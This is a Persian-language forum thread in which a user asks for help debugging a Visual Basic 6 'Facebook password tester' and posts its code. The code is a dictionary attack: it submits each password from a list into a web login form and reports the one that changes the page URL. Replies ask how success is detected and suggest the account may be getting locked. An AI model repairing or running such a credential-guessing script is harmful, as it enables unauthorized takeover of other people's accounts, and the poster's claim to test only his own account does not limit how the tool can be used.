سورس تستر پسورد رو فیس بوک

[rook]

سلام دوستان من یك تستر پسورد فیس بوک نوشتم ولی یك مشكل كوچولی داره‌ اونم اینه‌ من پسورد لیست دادم به برنامه اینجوری
7894
585
69854
26493
976413
123123
پسورد اینه اخر یه ولی اگه 123123 تو وسط پسورد لیست باشه برنامه اونو رد میكنه
123123

[Ghoghnus]

سلام دوستان من یك تستر پسورد فیس بوک نوشتم ولی یك مشكل كوچولی داره‌ اونم اینه‌ من پسورد لیست دادم به برنامه اینجوری
7894
585
69854
26493
976413
123123
پسورد اینه اخر یه ولی اگه 123123 تو وسط پسورد لیست باشه برنامه اونو رد میكنه
123123

یکم بیشتر توضیح بدین بدین لطفا!یعنی چی رد میکنه؟چجوری داره کار میکنه شما؟

[rook]

ببین دوست عزیز این برنامه‌ كه‌ من نوشتم میاد پسورد از پسورد لیست تیست میكنه‌ به‌ فیس بوك ولی اگه‌ پسورد این جوری باشه‌
123456
123123
123456789 اگه‌ پسورد 123123 درست باشه‌ اونو رد میكنه‌ میره‌ به‌ 123456789

[Ghoghnus]

شما پسورد هارا از چه نوعی گرفتی و داری تست میکنی؟من حس میکنم از نوع عددی هست برای همین تعداد ارقام زیاد میشه نمیتونه تست بگیره!میشه بگید رو چ حساب داری برسی میکنی که پسورد درست هست یااشتباه؟شاید بهتر بشه کمک کرد!

[rook]

من رو فیس بوك خودم تست كردم پسورد خودم دادام به‌ برنامه‌

[Ghoghnus]

من رو فیس بوك خودم تست كردم پسورد خودم دادام به‌ برنامه‌

عزیزم شما پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه؟

[rook]

ببین دوست عزیز من نمی دونم منظورت چیه‌

پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه

من موندم چرا پسورد درست رو رد میكنه‌

[Ghoghnus]

ببین دوست عزیز من نمی دونم منظورت چیه‌

پسورد را از چ نوعی گرفتی؟بر چ اساسی برسی میشه که درسته یا نه

من موندم چرا پسورد درست رو رد میكنه‌

برنامه که شما چطور قرار متوجه بشه پسورد درست بوده؟با تغییر url متوجه میشید یا تغییر title متوجه میشید؟
اگر ممکنه کد را بزارید تا بهتر بشه برسی کرد مشکل چی هست!

[babyy]

خب برنامه نویسیتون مشکل داره !
باید کد رو بزارید تا بعد از بررسی رفع مشکل بشه

احتمال دوم هم اینطور میشه که چون قبلش کلی پسورد رو تست کردید؛ فیسبوک قفل میکنه و رمز درست هم میگه اشتباهه

[rook]

کد:

Private Sub SendData()
On Error Resume Next
Do While Web.ReadyState <> "4"
DoEvents
Loop
mIndex = mIndex + 1

If mIndex > lstPass.ListCount - 1 Then
MsgBox "pass not found"
Exit Sub
End If

Web.Document.Forms(0).elements("mod-login-username").Value = txtID
Web.Document.Forms(0).elements("mod-login-password").Value = lstPass.List(mIndex)
Web.Document.Forms(0).elements("submit").Click

If fUrl = Web.LocationURL Then
Pause 2
SendData
Else
MsgBox "Found Password : " & lstPass.List(mIndex)
End If
End Sub

Private Sub Pause(Sec As Long)
Dim A
A = Timer
Do Until Timer - A >= Sec
DoEvents
Loop
End Sub

[Ghoghnus]

خب برنامه نویسیتون مشکل داره !
باید کد رو بزارید تا بعد از بررسی رفع مشکل بشه

احتمال دوم هم اینطور میشه که چون قبلش کلی پسورد رو تست کردید؛ فیسبوک قفل میکنه و رمز درست هم میگه اشتباهه

منم موافقم شاید فیس بوک قفل میکنه و اجازه ورد نمیده!
ولی باید حداقل روش بررسی را بگند ایشون تا بشه کمک کرد